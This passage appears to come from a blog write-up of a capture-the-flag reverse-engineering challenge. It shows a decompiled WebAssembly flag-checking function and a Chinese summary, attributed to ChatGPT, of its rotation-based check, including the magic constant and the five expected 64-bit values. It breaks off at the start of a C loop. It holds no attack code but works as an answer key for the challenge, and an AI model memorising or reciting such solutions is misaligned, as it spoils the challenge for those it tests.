class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br><span class="line">195</span><br><span class="line">196</span><br><span class="line">197</span><br><span class="line">198</span><br><span class="line">199</span><br><span class="line">200</span><br><span class="line">201</span><br><span class="line">202</span><br><span class="line">203</span><br><span class="line">204</span><br><span class="line">205</span><br><span class="line">206</span><br><span class="line">207</span><br><span class="line">208</span><br><span class="line">209</span><br><span class="line">210</span><br><span class="line">211</span><br><span class="line">212</span><br><span class="line">213</span><br><span class="line">214</span><br><span class="line">215</span><br><span class="line">216</span><br><span class="line">217</span><br><span class="line">218</span><br><span class="line">219</span><br><span class="line">220</span><br><span class="line">221</span><br><span class="line">222</span><br><span class="line">223</span><br><span class="line">224</span><br><span class="line">225</span><br><span class="line">226</span><br><span class="line">227</span><br><span class="line">228</span><br><span class="line">229</span><br><span class="line">230</span><br><span class="line">231</span><br><span class="line">232</span><br><span class="line">233</span><br><span class="line">234</span><br><span class="line">235</span><br><span class="line">236</span><br><span class="line">237</span><br><span class="line">238</span><br><span class="line">239</span><br><span class="line">240</span><br><span class="line">241</span><br><span class="line">242</span><br><span class="line">243</span><br><span class="line">244</span><br><span class="line">245</span><br><span class="line">246</span><br><span class="line">247</span><br><span class="line">248</span><br><span class="line">249</span><br><span class="line">250</span><br><span class="line">251</span><br><span class="line">252</span><br><span class="line">253</span><br><span class="line">254</span><br><span class="line">255</span><br><span class="line">256</span><br><span class="line">257</span><br><span class="line">258</span><br><span class="line">259</span><br><span class="line">260</span><br><span class="line">261</span><br><span class="line">262</span><br><span class="line">263</span><br><span class="line">264</span><br><span class="line">265</span><br><span class="line">266</span><br><span class="line">267</span><br><span class="line">268</span><br><span class="line">269</span><br><span class="line">270</span><br><span class="line">271</span><br><span class="line">272</span><br><span class="line">273</span><br><span class="line">274</span><br><span class="line">275</span><br><span class="line">276</span><br><span class="line">277</span><br><span class="line">278</span><br><span class="line">279</span><br><span class="line">280</span><br><span class="line">281</span><br><span class="line">282</span><br><span class="line">283</span><br><span class="line">284</span><br><span class="line">285</span><br><span class="line">286</span><br><span class="line">287</span><br><span class="line">288</span><br><span class="line">289</span><br><span class="line">290</span><br><span class="line">291</span><br><span class="line">292</span><br><span class="line">293</span><br><span class="line">294</span><br><span class="line">295</span><br><span class="line">296</span><br><span class="line">297</span><br><span class="line">298</span><br><span class="line">299</span><br><span class="line">300</span><br><span class="line">301</span><br><span class="line">302</span><br><span class="line">303</span><br><span class="line">304</span><br><span class="line">305</span><br><span class="line">306</span><br><span class="line">307</span><br><span class="line">308</span><br><span class="line">309</span><br><span class="line">310</span><br><span class="line">311</span><br><span class="line">312</span><br><span class="line">313</span><br><span class="line">314</span><br><span class="line">315</span><br><span class="line">316</span><br><span class="line">317</span><br><span class="line">318</span><br><span class="line">319</span><br><span class="line">320</span><br><span class="line">321</span><br><span class="line">322</span><br><span class="line">323</span><br><span class="line">324</span><br><span class="line">325</span><br><span class="line">326</span><br><span class="line">327</span><br><span class="line">328</span><br><span class="line">329</span><br><span class="line">330</span><br><span class="line">331</span><br><span class="line">332</span><br><span class="line">333</span><br><span class="line">334</span><br><span class="line">335</span><br><span class="line">336</span><br><span class="line">337</span><br><span class="line">338</span><br><span class="line">339</span><br><span class="line">340</span><br><span class="line">341</span><br><span class="line">342</span><br><span class="line">343</span><br><span class="line">344</span><br><span class="line">345</span><br><span class="line">346</span><br><span class="line">347</span><br><span class="line">348</span><br><span class="line">349</span><br><span class="line">350</span><br><span class="line">351</span><br><span class="line">352</span><br><span class="line">353</span><br><span class="line">354</span><br><span class="line">355</span><br><span class="line">356</span><br><span class="line">357</span><br><span class="line">358</span><br><span class="line">359</span><br><span class="line">360</span><br><span class="line">361</span><br><span class="line">362</span><br><span class="line">363</span><br><span class="line">364</span><br><span class="line">365</span><br><span class="line">366</span><br></pre></td><td class="code"><pre><span class="line">(func <span class="variable">$flagchecker</span> (;9;) (<span class="built_in">export</span> <span class="string">&quot;flagchecker&quot;</span>) (param <span class="variable">$var0</span> i32) (result i32)</span><br><span class="line">(local <span class="variable">$var1</span> i32)</span><br><span class="line">(local <span class="variable">$var2</span> i32)</span><br><span class="line">(local <span class="variable">$var3</span> i32)</span><br><span class="line">(local <span class="variable">$var4</span> i32)</span><br><span class="line">(local <span class="variable">$var5</span> i32)</span><br><span class="line">(local <span class="variable">$var6</span> i32)</span><br><span class="line">(local <span class="variable">$var7</span> i64)</span><br><span class="line">(local <span class="variable">$var8</span> i32)</span><br><span class="line">(local <span class="variable">$var9</span> i32)</span><br><span class="line">(local <span class="variable">$var10</span> i32)</span><br><span class="line">(local <span class="variable">$var11</span> i32)</span><br><span class="line">(local <span class="variable">$var12</span> i64)</span><br><span class="line">(local <span class="variable">$var13</span> i64)</span><br><span class="line">(local <span class="variable">$var14</span> i64)</span><br><span class="line">(local <span class="variable">$var15</span> i64)</span><br><span class="line">(local <span class="variable">$var16</span> i64)</span><br><span class="line">(local <span class="variable">$var17</span> i32)</span><br><span class="line">(local <span class="variable">$var18</span> i32)</span><br><span class="line">(local <span class="variable">$var19</span> i32)</span><br><span class="line">(local <span class="variable">$var20</span> i32)</span><br><span class="line">(local <span class="variable">$var21</span> i32)</span><br><span class="line">(local <span class="variable">$var22</span> i32)</span><br><span class="line">(local <span class="variable">$var23</span> i32)</span><br><span class="line">(local <span class="variable">$var24</span> i32)</span><br><span class="line">(local <span class="variable">$var25</span> i32)</span><br><span class="line">(local <span class="variable">$var26</span> i32)</span><br><span class="line">(local <span class="variable">$var27</span> i32)</span><br><span class="line">(local <span class="variable">$var28</span> i32)</span><br><span class="line">(local <span class="variable">$var29</span> i32)</span><br><span class="line">(local <span class="variable">$var30</span> i32)</span><br><span class="line">(local <span class="variable">$var31</span> i32)</span><br><span class="line">(local <span class="variable">$var32</span> i32)</span><br><span class="line">(local <span class="variable">$var33</span> i32)</span><br><span class="line">(local <span class="variable">$var34</span> i32)</span><br><span class="line">(local <span class="variable">$var35</span> i32)</span><br><span class="line">(local <span class="variable">$var36</span> i32)</span><br><span class="line">(local <span class="variable">$var37</span> i32)</span><br><span class="line">(local <span class="variable">$var38</span> i32)</span><br><span class="line">(local <span class="variable">$var39</span> i32)</span><br><span class="line">(local <span class="variable">$var40</span> i32)</span><br><span class="line">(local <span class="variable">$var41</span> i64)</span><br><span class="line">(local <span class="variable">$var42</span> i32)</span><br><span class="line">(local <span class="variable">$var43</span> i32)</span><br><span class="line">(local <span class="variable">$var44</span> i32)</span><br><span class="line">(local <span class="variable">$var45</span> i32)</span><br><span class="line">(local <span class="variable">$var46</span> i32)</span><br><span class="line">(local <span class="variable">$var47</span> i32)</span><br><span class="line">(local <span class="variable">$var48</span> i32)</span><br><span class="line">(local <span class="variable">$var49</span> i64)</span><br><span class="line">(local <span class="variable">$var50</span> i32)</span><br><span class="line">(local <span class="variable">$var51</span> i64)</span><br><span class="line">(local <span class="variable">$var52</span> i32)</span><br><span class="line">(local <span class="variable">$var53</span> i32)</span><br><span class="line">(local <span class="variable">$var54</span> i32)</span><br><span class="line">(local <span class="variable">$var55</span> i32)</span><br><span class="line">(local <span class="variable">$var56</span> i32)</span><br><span class="line">(local <span class="variable">$var57</span> i32)</span><br><span class="line">(local <span class="variable">$var58</span> i32)</span><br><span class="line">(local <span class="variable">$var59</span> i64)</span><br><span class="line">(local <span class="variable">$var60</span> i32)</span><br><span class="line">(local <span class="variable">$var61</span> i32)</span><br><span class="line">(local <span class="variable">$var62</span> i32)</span><br><span class="line">(local <span class="variable">$var63</span> i32)</span><br><span class="line">(local <span class="variable">$var64</span> i32)</span><br><span class="line">(local <span class="variable">$var65</span> i32)</span><br><span class="line">(local <span class="variable">$var66</span> i32)</span><br><span class="line">(local <span class="variable">$var67</span> i32)</span><br><span class="line">(local <span class="variable">$var68</span> i32)</span><br><span class="line">(local <span class="variable">$var69</span> i32)</span><br><span class="line">(local <span class="variable">$var70</span> i32)</span><br><span class="line">global.<span class="built_in">get</span> <span class="variable">$global0</span></span><br><span class="line">local.<span class="built_in">set</span> <span class="variable">$var1</span></span><br><span class="line">i32.const 96</span><br><span class="line">local.<span class="built_in">set</span> <span class="variable">$var2</span></span><br><span class="line">local.<span class="built_in">get</span> <span class="variable">$var1</span></span><br><span class="line">local.<span class="built_in">get</span> <span class="variable">$var2</span></span><br><span class="line">i32.sub</span><br><span class="line">local.<span class="built_in">set</span> <span class="variable">$var3</span></span><br><span class="line">local.<span class="built_in">get</span> <span class="variable">$var3</span></span><br><span class="line">global.<span class="built_in">set</span> <span class="variable">$global0</span></span><br><span class="line">local.<span class="built_in">get</span> <span class="variable">$var3</span></span><br><span class="line">local.<span class="built_in">get</span> <span class="variable">$var0</span></span><br><span class="line">i32.store <span class="attribute">offset</span>=88</span><br><span class="line">i32.const -39934163</span><br><span class="line">local.<span class="built_in">set</span> <span class="variable">$var4</span></span><br><span class="line">local.<span class="built_in">get</span> <span class="variable">$var3</span></span><br><span class="line">local.<span class="built_in">get</span> <span class="variable">$var4</span></span><br><span class="line">i32.store <span class="attribute">offset</span>=84</span><br><span class="line">i32.const 64</span><br><span class="line">local.<span class="built_in">set</span> <span class="variable">$var5</span></span><br><span class="line">local.<span class="built_in">get</span> <span class="variable">$var3</span></span><br><span class="line">local.<span class="built_in">get</span> <span class="variable">$var5</span></span><br><span class="line">i32.<span class="built_in">add</span></span><br><span class="line">local.<span class="built_in">set</span> <span class="variable">$var6</span></span><br><span class="line">i64.const 0</span><br><span class="line">local.<span class="built_in">set</span> <span class="variable">$var7</span></span><br><span class="line">local.<span class="built_in">get</span> <span class="variable">$var6</span></span><br><span class="line">local.<span class="built_in">get</span> <span class="variable">$var7</span></span><br><span class="line">i64.store</span><br><span class="line">i32.const 56</span><br><span class="line">local.<span class="built_in">set</span> <span class="variable">$var8</span></span><br><span class="line">local.<span class="built_in">get</span> <span class="variable">$var3</span></span><br><span class="line">local.<span class="built_in">get</span> <span class="variable">$var8</span></span><br><span class="line">i32.<span class="built_in">add</span></span><br><span class="line">local.<span class="built_in">set</span> <span class="variable">$var9</span></span><br><span class="line">local.<span class="built_in">get</span> <span class="variable">$var9</span></span><br><span class="line">local.<span class="built_in">get</span> <span class="variable">$var7</span></span><br><span class="line">i64.store</span><br><span class="line">i32.const 48</span><br><span class="line">local.<span class="built_in">set</span> <span class="variable">$var10</span></span><br><span class="line">local.<span class="built_in">get</span> <span class="variable">$var3</span></span><br><span class="line">local.<span class="built_in">get</span> <span class="variable">$var10</span></span><br><span class="line">i32.<span class="built_in">add</span></span><br><span class="line">local.<span class="built_in">set</span> <span class="variable">$var11</span></span><br><span class="line">local.<span class="built_in">get</span> <span class="variable">$var11</span></span><br><span class="line">local.<span class="built_in">get</span> <span class="variable">$var7</span></span><br><span class="line">i64.store</span><br><span class="line">local.<span class="built_in">get</span> <span class="variable">$var3</span></span><br><span class="line">local.<span class="built_in">get</span> <span class="variable">$var7</span></span><br><span class="line">i64.store <span class="attribute">offset</span>=40</span><br><span class="line">local.<span class="built_in">get</span> <span class="variable">$var3</span></span><br><span class="line">local.<span class="built_in">get</span> <span class="variable">$var7</span></span><br><span class="line">i64.store <span class="attribute">offset</span>=32</span><br><span class="line">i64.const 7577352992956835434</span><br><span class="line">local.<span class="built_in">set</span> <span class="variable">$var12</span></span><br><span class="line">local.<span class="built_in">get</span> <span class="variable">$var3</span></span><br><span class="line">local.<span class="built_in">get</span> <span class="variable">$var12</span></span><br><span class="line">i64.store <span class="attribute">offset</span>=32</span><br><span class="line">i64.const 7148661717033493303</span><br><span class="line">local.<span class="built_in">set</span> <span class="variable">$var13</span></span><br><span class="line">local.<span class="built_in">get</span> <span class="variable">$var3</span></span><br><span class="line">local.<span class="built_in">get</span> <span class="variable">$var13</span></span><br><span class="line">i64.store <span class="attribute">offset</span>=40</span><br><span class="line">i64.const -7081446828746089091</span><br><span class="line">local.<span class="built_in">set</span> <span class="variable">$var14</span></span><br><span class="line">local.<span class="built_in">get</span> <span class="variable">$var3</span></span><br><span class="line">local.<span class="built_in">get</span> <span class="variable">$var14</span></span><br><span class="line">i64.store <span class="attribute">offset</span>=48</span><br><span class="line">i64.const -7479441386887439825</span><br><span class="line">local.<span class="built_in">set</span> <span class="variable">$var15</span></span><br><span class="line">local.<span class="built_in">get</span> <span class="variable">$var3</span></span><br><span class="line">local.<span class="built_in">get</span> <span class="variable">$var15</span></span><br><span class="line">i64.store <span class="attribute">offset</span>=56</span><br><span class="line">i64.const 8046961146294847270</span><br><span class="line">local.<span class="built_in">set</span> <span class="variable">$var16</span></span><br><span class="line">local.<span class="built_in">get</span> <span class="variable">$var3</span></span><br><span class="line">local.<span class="built_in">get</span> <span class="variable">$var16</span></span><br><span class="line">i64.store <span class="attribute">offset</span>=64</span><br><span class="line">local.<span class="built_in">get</span> <span class="variable">$var3</span></span><br><span class="line">i32.load <span class="attribute">offset</span>=88</span><br><span class="line">local.<span class="built_in">set</span> <span class="variable">$var17</span></span><br><span class="line">i32.const 0</span><br><span class="line">local.<span class="built_in">set</span> <span class="variable">$var18</span></span><br><span class="line">local.<span class="built_in">get</span> <span class="variable">$var17</span></span><br><span class="line">local.<span class="built_in">get</span> <span class="variable">$var18</span></span><br><span class="line">i32.ne</span><br><span class="line">local.<span class="built_in">set</span> <span class="variable">$var19</span></span><br><span class="line">i32.const 1</span><br><span class="line">local.<span class="built_in">set</span> <span class="variable">$var20</span></span><br><span class="line">local.<span class="built_in">get</span> <span class="variable">$var19</span></span><br><span class="line">local.<span class="built_in">get</span> <span class="variable">$var20</span></span><br><span class="line">i32.<span class="keyword">and</span></span><br><span class="line">local.<span class="built_in">set</span> <span class="variable">$var21</span></span><br><span class="line">block <span class="variable">$label2</span></span><br><span class="line">  block <span class="variable">$label1</span></span><br><span class="line">    block <span class="variable">$label0</span></span><br><span class="line">      local.<span class="built_in">get</span> <span class="variable">$var21</span></span><br><span class="line">      i32.eqz</span><br><span class="line">      br_if <span class="variable">$label0</span></span><br><span class="line">      local.<span class="built_in">get</span> <span class="variable">$var3</span></span><br><span class="line">      i32.load <span class="attribute">offset</span>=88</span><br><span class="line">      local.<span class="built_in">set</span> <span class="variable">$var22</span></span><br><span class="line">      local.<span class="built_in">get</span> <span class="variable">$var22</span></span><br><span class="line">      call <span class="variable">$func13</span></span><br><span class="line">      local.<span class="built_in">set</span> <span class="variable">$var23</span></span><br><span class="line">      i32.const 40</span><br><span class="line">      local.<span class="built_in">set</span> <span class="variable">$var24</span></span><br><span class="line">      local.<span class="built_in">get</span> <span class="variable">$var23</span></span><br><span class="line">      local.<span class="built_in">get</span> <span class="variable">$var24</span></span><br><span class="line">      i32.ne</span><br><span class="line">      local.<span class="built_in">set</span> <span class="variable">$var25</span></span><br><span class="line">      i32.const 1</span><br><span class="line">      local.<span class="built_in">set</span> <span class="variable">$var26</span></span><br><span class="line">      local.<span class="built_in">get</span> <span class="variable">$var25</span></span><br><span class="line">      local.<span class="built_in">get</span> <span class="variable">$var26</span></span><br><span class="line">      i32.<span class="keyword">and</span></span><br><span class="line">      local.<span class="built_in">set</span> <span class="variable">$var27</span></span><br><span class="line">      local.<span class="built_in">get</span> <span class="variable">$var27</span></span><br><span class="line">      i32.eqz</span><br><span class="line">      br_if <span class="variable">$label1</span></span><br><span class="line">    end <span class="variable">$label0</span></span><br><span class="line">    i32.const 0</span><br><span class="line">    local.<span class="built_in">set</span> <span class="variable">$var28</span></span><br><span class="line">    local.<span class="built_in">get</span> <span class="variable">$var3</span></span><br><span class="line">    local.<span class="built_in">get</span> <span class="variable">$var28</span></span><br><span class="line">    i32.store <span class="attribute">offset</span>=92</span><br><span class="line">    br <span class="variable">$label2</span></span><br><span class="line">  end <span class="variable">$label1</span></span><br><span class="line">  local.<span class="built_in">get</span> <span class="variable">$var3</span></span><br><span class="line">  i32.load <span class="attribute">offset</span>=88</span><br><span class="line">  local.<span class="built_in">set</span> <span class="variable">$var29</span></span><br><span class="line">  local.<span class="built_in">get</span> <span class="variable">$var3</span></span><br><span class="line">  local.<span class="built_in">get</span> <span class="variable">$var29</span></span><br><span class="line">  i32.store <span class="attribute">offset</span>=28</span><br><span class="line">  i32.const 0</span><br><span class="line">  local.<span class="built_in">set</span> <span class="variable">$var30</span></span><br><span class="line">  local.<span class="built_in">get</span> <span class="variable">$var3</span></span><br><span class="line">  local.<span class="built_in">get</span> <span class="variable">$var30</span></span><br><span class="line">  i32.store <span class="attribute">offset</span>=24</span><br><span class="line">  block <span class="variable">$label3</span></span><br><span class="line">    loop <span class="variable">$label5</span></span><br><span class="line">      local.<span class="built_in">get</span> <span class="variable">$var3</span></span><br><span class="line">      i32.load <span class="attribute">offset</span>=24</span><br><span class="line">      local.<span class="built_in">set</span> <span class="variable">$var31</span></span><br><span class="line">      i32.const 5</span><br><span class="line">      local.<span class="built_in">set</span> <span class="variable">$var32</span></span><br><span class="line">      local.<span class="built_in">get</span> <span class="variable">$var31</span></span><br><span class="line">      local.<span class="built_in">get</span> <span class="variable">$var32</span></span><br><span class="line">      i32.lt_s</span><br><span class="line">      local.<span class="built_in">set</span> <span class="variable">$var33</span></span><br><span class="line">      i32.const 1</span><br><span class="line">      local.<span class="built_in">set</span> <span class="variable">$var34</span></span><br><span class="line">      local.<span class="built_in">get</span> <span class="variable">$var33</span></span><br><span class="line">      local.<span class="built_in">get</span> <span class="variable">$var34</span></span><br><span class="line">      i32.<span class="keyword">and</span></span><br><span class="line">      local.<span class="built_in">set</span> <span class="variable">$var35</span></span><br><span class="line">      local.<span class="built_in">get</span> <span class="variable">$var35</span></span><br><span class="line">      i32.eqz</span><br><span class="line">      br_if <span class="variable">$label3</span></span><br><span class="line">      local.<span class="built_in">get</span> <span class="variable">$var3</span></span><br><span class="line">      i32.load <span class="attribute">offset</span>=28</span><br><span class="line">      local.<span class="built_in">set</span> <span class="variable">$var36</span></span><br><span class="line">      local.<span class="built_in">get</span> <span class="variable">$var3</span></span><br><span class="line">      i32.load <span class="attribute">offset</span>=24</span><br><span class="line">      local.<span class="built_in">set</span> <span class="variable">$var37</span></span><br><span class="line">      i32.const 3</span><br><span class="line">      local.<span class="built_in">set</span> <span class="variable">$var38</span></span><br><span class="line">      local.<span class="built_in">get</span> <span class="variable">$var37</span></span><br><span class="line">      local.<span class="built_in">get</span> <span class="variable">$var38</span></span><br><span class="line">      i32.shl</span><br><span class="line">      local.<span class="built_in">set</span> <span class="variable">$var39</span></span><br><span class="line">      local.<span class="built_in">get</span> <span class="variable">$var36</span></span><br><span class="line">      local.<span class="built_in">get</span> <span class="variable">$var39</span></span><br><span class="line">      i32.<span class="built_in">add</span></span><br><span class="line">      local.<span class="built_in">set</span> <span class="variable">$var40</span></span><br><span class="line">      local.<span class="built_in">get</span> <span class="variable">$var40</span></span><br><span class="line">      i64.load</span><br><span class="line">      local.<span class="built_in">set</span> <span class="variable">$var41</span></span><br><span class="line">      local.<span class="built_in">get</span> <span class="variable">$var3</span></span><br><span class="line">      local.<span class="built_in">get</span> <span class="variable">$var41</span></span><br><span class="line">      i64.store <span class="attribute">offset</span>=16</span><br><span class="line">      local.<span class="built_in">get</span> <span class="variable">$var3</span></span><br><span class="line">      i32.load <span class="attribute">offset</span>=24</span><br><span class="line">      local.<span class="built_in">set</span> <span class="variable">$var42</span></span><br><span class="line">      i32.const 6</span><br><span class="line">      local.<span class="built_in">set</span> <span class="variable">$var43</span></span><br><span class="line">      local.<span class="built_in">get</span> <span class="variable">$var42</span></span><br><span class="line">      local.<span class="built_in">get</span> <span class="variable">$var43</span></span><br><span class="line">      i32.mul</span><br><span class="line">      local.<span class="built_in">set</span> <span class="variable">$var44</span></span><br><span class="line">      i32.const -39934163</span><br><span class="line">      local.<span class="built_in">set</span> <span class="variable">$var45</span></span><br><span class="line">      local.<span class="built_in">get</span> <span class="variable">$var45</span></span><br><span class="line">      local.<span class="built_in">get</span> <span class="variable">$var44</span></span><br><span class="line">      i32.shr_u</span><br><span class="line">      local.<span class="built_in">set</span> <span class="variable">$var46</span></span><br><span class="line">      i32.const 63</span><br><span class="line">      local.<span class="built_in">set</span> <span class="variable">$var47</span></span><br><span class="line">      local.<span class="built_in">get</span> <span class="variable">$var46</span></span><br><span class="line">      local.<span class="built_in">get</span> <span class="variable">$var47</span></span><br><span class="line">      i32.<span class="keyword">and</span></span><br><span class="line">      local.<span class="built_in">set</span> <span class="variable">$var48</span></span><br><span class="line">      local.<span class="built_in">get</span> <span class="variable">$var3</span></span><br><span class="line">      local.<span class="built_in">get</span> <span class="variable">$var48</span></span><br><span class="line">      i32.store <span class="attribute">offset</span>=12</span><br><span class="line">      local.<span class="built_in">get</span> <span class="variable">$var3</span></span><br><span class="line">      i64.load <span class="attribute">offset</span>=16</span><br><span class="line">      local.<span class="built_in">set</span> <span class="variable">$var49</span></span><br><span class="line">      local.<span class="built_in">get</span> <span class="variable">$var3</span></span><br><span class="line">      i32.load <span class="attribute">offset</span>=12</span><br><span class="line">      local.<span class="built_in">set</span> <span class="variable">$var50</span></span><br><span class="line">      local.<span class="built_in">get</span> <span class="variable">$var49</span></span><br><span class="line">      local.<span class="built_in">get</span> <span class="variable">$var50</span></span><br><span class="line">      call <span class="variable">$func8</span></span><br><span class="line">      local.<span class="built_in">set</span> <span class="variable">$var51</span></span><br><span class="line">      local.<span class="built_in">get</span> <span class="variable">$var3</span></span><br><span class="line">      i32.load <span class="attribute">offset</span>=24</span><br><span class="line">      local.<span class="built_in">set</span> <span class="variable">$var52</span></span><br><span class="line">      i32.const 32</span><br><span class="line">      local.<span class="built_in">set</span> <span class="variable">$var53</span></span><br><span class="line">      local.<span class="built_in">get</span> <span class="variable">$var3</span></span><br><span class="line">      local.<span class="built_in">get</span> <span class="variable">$var53</span></span><br><span class="line">      i32.<span class="built_in">add</span></span><br><span class="line">      local.<span class="built_in">set</span> <span class="variable">$var54</span></span><br><span class="line">      local.<span class="built_in">get</span> <span class="variable">$var54</span></span><br><span class="line">      local.<span class="built_in">set</span> <span class="variable">$var55</span></span><br><span class="line">      i32.const 3</span><br><span class="line">      local.<span class="built_in">set</span> <span class="variable">$var56</span></span><br><span class="line">      local.<span class="built_in">get</span> <span class="variable">$var52</span></span><br><span class="line">      local.<span class="built_in">get</span> <span class="variable">$var56</span></span><br><span class="line">      i32.shl</span><br><span class="line">      local.<span class="built_in">set</span> <span class="variable">$var57</span></span><br><span class="line">      local.<span class="built_in">get</span> <span class="variable">$var55</span></span><br><span class="line">      local.<span class="built_in">get</span> <span class="variable">$var57</span></span><br><span class="line">      i32.<span class="built_in">add</span></span><br><span class="line">      local.<span class="built_in">set</span> <span class="variable">$var58</span></span><br><span class="line">      local.<span class="built_in">get</span> <span class="variable">$var58</span></span><br><span class="line">      i64.load</span><br><span class="line">      local.<span class="built_in">set</span> <span class="variable">$var59</span></span><br><span class="line">      local.<span class="built_in">get</span> <span class="variable">$var51</span></span><br><span class="line">      local.<span class="built_in">get</span> <span class="variable">$var59</span></span><br><span class="line">      i64.ne</span><br><span class="line">      local.<span class="built_in">set</span> <span class="variable">$var60</span></span><br><span class="line">      i32.const 1</span><br><span class="line">      local.<span class="built_in">set</span> <span class="variable">$var61</span></span><br><span class="line">      local.<span class="built_in">get</span> <span class="variable">$var60</span></span><br><span class="line">      local.<span class="built_in">get</span> <span class="variable">$var61</span></span><br><span class="line">      i32.<span class="keyword">and</span></span><br><span class="line">      local.<span class="built_in">set</span> <span class="variable">$var62</span></span><br><span class="line">      block <span class="variable">$label4</span></span><br><span class="line">        local.<span class="built_in">get</span> <span class="variable">$var62</span></span><br><span class="line">        i32.eqz</span><br><span class="line">        br_if <span class="variable">$label4</span></span><br><span class="line">        i32.const 0</span><br><span class="line">        local.<span class="built_in">set</span> <span class="variable">$var63</span></span><br><span class="line">        local.<span class="built_in">get</span> <span class="variable">$var3</span></span><br><span class="line">        local.<span class="built_in">get</span> <span class="variable">$var63</span></span><br><span class="line">        i32.store <span class="attribute">offset</span>=92</span><br><span class="line">        br <span class="variable">$label2</span></span><br><span class="line">      end <span class="variable">$label4</span></span><br><span class="line">      local.<span class="built_in">get</span> <span class="variable">$var3</span></span><br><span class="line">      i32.load <span class="attribute">offset</span>=24</span><br><span class="line">      local.<span class="built_in">set</span> <span class="variable">$var64</span></span><br><span class="line">      i32.const 1</span><br><span class="line">      local.<span class="built_in">set</span> <span class="variable">$var65</span></span><br><span class="line">      local.<span class="built_in">get</span> <span class="variable">$var64</span></span><br><span class="line">      local.<span class="built_in">get</span> <span class="variable">$var65</span></span><br><span class="line">      i32.<span class="built_in">add</span></span><br><span class="line">      local.<span class="built_in">set</span> <span class="variable">$var66</span></span><br><span class="line">      local.<span class="built_in">get</span> <span class="variable">$var3</span></span><br><span class="line">      local.<span class="built_in">get</span> <span class="variable">$var66</span></span><br><span class="line">      i32.store <span class="attribute">offset</span>=24</span><br><span class="line">      br <span class="variable">$label5</span></span><br><span class="line">    end <span class="variable">$label5</span></span><br><span class="line">  end <span class="variable">$label3</span></span><br><span class="line">  i32.const 1</span><br><span class="line">  local.<span class="built_in">set</span> <span class="variable">$var67</span></span><br><span class="line">  local.<span class="built_in">get</span> <span class="variable">$var3</span></span><br><span class="line">  local.<span class="built_in">get</span> <span class="variable">$var67</span></span><br><span class="line">  i32.store <span class="attribute">offset</span>=92</span><br><span class="line">end <span class="variable">$label2</span></span><br><span class="line">local.<span class="built_in">get</span> <span class="variable">$var3</span></span><br><span class="line">i32.load <span class="attribute">offset</span>=92</span><br><span class="line">local.<span class="built_in">set</span> <span class="variable">$var68</span></span><br><span class="line">i32.const 96</span><br><span class="line">local.<span class="built_in">set</span> <span class="variable">$var69</span></span><br><span class="line">local.<span class="built_in">get</span> <span class="variable">$var3</span></span><br><span class="line">local.<span class="built_in">get</span> <span class="variable">$var69</span></span><br><span class="line">i32.<span class="built_in">add</span></span><br><span class="line">local.<span class="built_in">set</span> <span class="variable">$var70</span></span><br><span class="line">local.<span class="built_in">get</span> <span class="variable">$var70</span></span><br><span class="line">global.<span class="built_in">set</span> <span class="variable">$global0</span></span><br><span class="line">local.<span class="built_in">get</span> <span class="variable">$var68</span></span><br><span class="line">return</span><br><span class="line">)</span><br></pre></td></tr></table></figure><p>給chatgpt整理分析以上的加密方式為</p><ul><li><p><code>magic = 0xFD9EA72D</code> 計算旋轉位數</p></li><li><p><code>expected[0] = 0x69282A668AEF666A; expected[1] = 0x633525F4D7372337; expected[2] = 0x9DB9A5A0DCC5DD7D; expected[3] = 0x9833AFAFB8381A2F; expected[4] = 0x6FAC8C8726464726;</code><br>是經過旋轉之後預期的flag</p></li><li><p>接下來把使用者輸入的每一個chunk取出來進行rot</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">for</span> (<span class="type">int</span> i = <span 